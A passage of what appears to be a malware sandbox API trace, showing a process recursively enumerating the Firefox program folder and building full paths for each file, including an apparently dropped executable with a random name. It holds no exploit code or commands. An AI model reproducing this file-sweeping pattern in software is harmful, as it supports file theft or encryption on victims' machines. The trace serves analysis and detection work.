lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0119.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.270] lstrcmpW (lpString1="crashreporter.ini", lpString2=".") returned 1 [0119.270] lstrcmpW (lpString1="crashreporter.ini", lpString2="..") returned 1 [0119.270] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.270] lstrlenW (lpString="crashreporter.ini") returned 17 [0119.270] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0119.270] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned 56 [0119.270] lstrcpyW (in: lpString1=0x24a3ed0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0119.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.270] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2=".") returned 1 [0119.270] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2="..") returned 1 [0119.270] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.270] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0119.270] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0119.270] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned 57 [0119.270] lstrcpyW (in: lpString1=0x24a3f50, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0119.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.270] lstrcmpW (lpString1="defaults", lpString2=".") returned 1 [0119.270] lstrcmpW (lpString1="defaults", lpString2="..") returned 1 [0119.270] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.270] lstrlenW (lpString="defaults") returned 8 [0119.270] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="defaults" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0119.271] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\" [0119.271] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0119.271] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*" [0119.271] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0119.271] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.271] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.271] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.271] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.271] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.271] lstrcmpW (lpString1="pref", lpString2=".") returned 1 [0119.271] lstrcmpW (lpString1="pref", lpString2="..") returned 1 [0119.271] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0119.271] lstrlenW (lpString="pref") returned 4 [0119.271] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="pref" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" [0119.271] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0119.271] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0119.271] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.271] lstrcmpW (lpString1="dependentlibs.list", lpString2=".") returned 1 [0119.271] lstrcmpW (lpString1="dependentlibs.list", lpString2="..") returned 1 [0119.271] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.271] lstrlenW (lpString="dependentlibs.list") returned 18 [0119.271] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0119.271] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned 57 [0119.271] lstrcpyW (in: lpString1=0x24a3fd0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0119.271] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.271] lstrcmpW (lpString1="dictionaries", lpString2=".") returned 1 [0119.271] lstrcmpW (lpString1="dictionaries", lpString2="..") returned 1 [0119.271] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.271] lstrlenW (lpString="dictionaries") returned 12 [0119.271] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dictionaries" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0119.271] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\" [0119.271] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0119.272] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*" [0119.272] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0119.272] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.272] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.272] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.272] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.272] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.272] lstrcmpW (lpString1="en-US.aff", lpString2=".") returned 1 [0119.272] lstrcmpW (lpString1="en-US.aff", lpString2="..") returned 1 [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0119.272] lstrlenW (lpString="en-US.aff") returned 9 [0119.272] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned 61 [0119.272] lstrcpyW (in: lpString1=0x24a1ee0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0119.272] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.272] lstrcmpW (lpString1="en-US.dic", lpString2=".") returned 1 [0119.272] lstrcmpW (lpString1="en-US.dic", lpString2="..") returned 1 [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0119.272] lstrlenW (lpString="en-US.dic") returned 9 [0119.272] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned 61 [0119.272] lstrcpyW (in: lpString1=0x24a1f68, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0119.272] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0119.272] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0119.272] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.272] lstrcmpW (lpString1="firefox.exe", lpString2=".") returned 1 [0119.272] lstrcmpW (lpString1="firefox.exe", lpString2="..") returned 1 [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.272] lstrlenW (lpString="firefox.exe") returned 11 [0119.272] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0119.272] lstrcpyW (in: lpString1=0x24a4050, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.272] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.272] lstrcmpW (lpString1="freebl3.chk", lpString2=".") returned 1 [0119.272] lstrcmpW (lpString1="freebl3.chk", lpString2="..") returned 1 [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.272] lstrlenW (lpString="freebl3.chk") returned 11 [0119.272] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0119.272] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned 50 [0119.272] lstrcpyW (in: lpString1=0x24a40c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0119.273] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.273] lstrcmpW (lpString1="freebl3.dll", lpString2=".") returned 1 [0119.273] lstrcmpW (lpString1="freebl3.dll", lpString2="..") returned 1 [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.273] lstrlenW (lpString="freebl3.dll") returned 11 [0119.273] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned 50 [0119.273] lstrcpyW (in: lpString1=0x24a4130, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0119.273] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.273] lstrcmpW (lpString1="gkmedias.dll", lpString2=".") returned 1 [0119.273] lstrcmpW (lpString1="gkmedias.dll", lpString2="..") returned 1 [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.273] lstrlenW (lpString="gkmedias.dll") returned 12 [0119.273] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned 51 [0119.273] lstrcpyW (in: lpString1=0x24a41a0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0119.273] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.273] lstrcmpW (lpString1="install.log", lpString2=".") returned 1 [0119.273] lstrcmpW (lpString1="install.log", lpString2="..") returned 1 [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.273] lstrlenW (lpString="install.log") returned 11 [0119.273] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned 50 [0119.273] lstrcpyW (in: lpString1=0x24a4210, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0119.273] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.273] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2=".") returned 1 [0119.273] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2="..") returned 1 [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.273] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0119.273] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned 61 [0119.273] lstrcpyW (in: lpString1=0x24a1ff0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0119.273] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.273] lstrcmpW (lpString1="libEGL.dll", lpString2=".") returned 1 [0119.273] lstrcmpW (lpString1="libEGL.dll", lpString2="..") returned 1 [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.273] lstrlenW (lpString="libEGL.dll") returned 10 [0119.273] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned 49 [0119.273] lstrcpyW (in: lpString1=0x24a4280, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0119.273] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.273] lstrcmpW (lpString1="libGLESv2.dll", lpString2=".") returned 1 [0119.273] lstrcmpW (lpString1="libGLESv2.dll", lpString2="..") returned 1 [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.273] lstrlenW (lpString="libGLESv2.dll") returned 13 [0119.273] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0119.273] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned 52 [0119.273] lstrcpyW (in: lpString1=0x24a09c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0119.273] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.273] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0119.273] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.274] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0119.274] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned 61 [0119.274] lstrcpyW (in: lpString1=0x24a2078, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0119.274] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.274] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2=".") returned 1 [0119.274] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2="..") returned 1 [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.274] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0119.274] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned 71 [0119.274] lstrcpyW (in: lpString1=0x24a42f0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0119.274] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.274] lstrcmpW (lpString1="mozalloc.dll", lpString2=".") returned 1 [0119.274] lstrcmpW (lpString1="mozalloc.dll", lpString2="..") returned 1 [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.274] lstrlenW (lpString="mozalloc.dll") returned 12 [0119.274] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned 51 [0119.274] lstrcpyW (in: lpString1=0x24a4388, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0119.274] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.274] lstrcmpW (lpString1="mozglue.dll", lpString2=".") returned 1 [0119.274] lstrcmpW (lpString1="mozglue.dll", lpString2="..") returned 1 [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.274] lstrlenW (lpString="mozglue.dll") returned 11 [0119.274] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned 50 [0119.274] lstrcpyW (in: lpString1=0x24a43f8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0119.274] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.274] lstrcmpW (lpString1="mozjs.dll", lpString2=".") returned 1 [0119.274] lstrcmpW (lpString1="mozjs.dll", lpString2="..") returned 1 [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.274] lstrlenW (lpString="mozjs.dll") returned 9 [0119.274] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned 48 [0119.274] lstrcpyW (in: lpString1=0x24a4480, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0119.274] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.274] lstrcmpW (lpString1="msvcp100.dll", lpString2=".") returned 1 [0119.274] lstrcmpW (lpString1="msvcp100.dll", lpString2="..") returned 1 [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.274] lstrlenW (lpString="msvcp100.dll") returned 12 [0119.274] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0119.274] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned 51 [0119.274] lstrcpyW (in: lpString1=0x24a44f0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0119.274] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.274] lstrcmpW (lpString1="msvcr100.dll", lpString2=".") returned 1 [0119.275] lstrcmpW (lpString1="msvcr100.dll", lpString2="..") returned 1 [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.275] lstrlenW (lpString="msvcr100.dll") returned 12 [0119.275] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned 51 [0119.275] lstrcpyW (in: lpString1=0x24a4560, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0119.275] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.275] lstrcmpW (lpString1="nss3.dll", lpString2=".") returned 1 [0119.275] lstrcmpW (lpString1="nss3.dll", lpString2="..") returned 1 [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.275] lstrlenW (lpString="nss3.dll") returned 8 [0119.275] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 47 [0119.275] lstrcpyW (in: lpString1=0x24a5468, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0119.275] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.275] lstrcmpW (lpString1="nssckbi.dll", lpString2=".") returned 1 [0119.275] lstrcmpW (lpString1="nssckbi.dll", lpString2="..") returned 1 [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.275] lstrlenW (lpString="nssckbi.dll") returned 11 [0119.275] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned 50 [0119.275] lstrcpyW (in: lpString1=0x24a45d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla 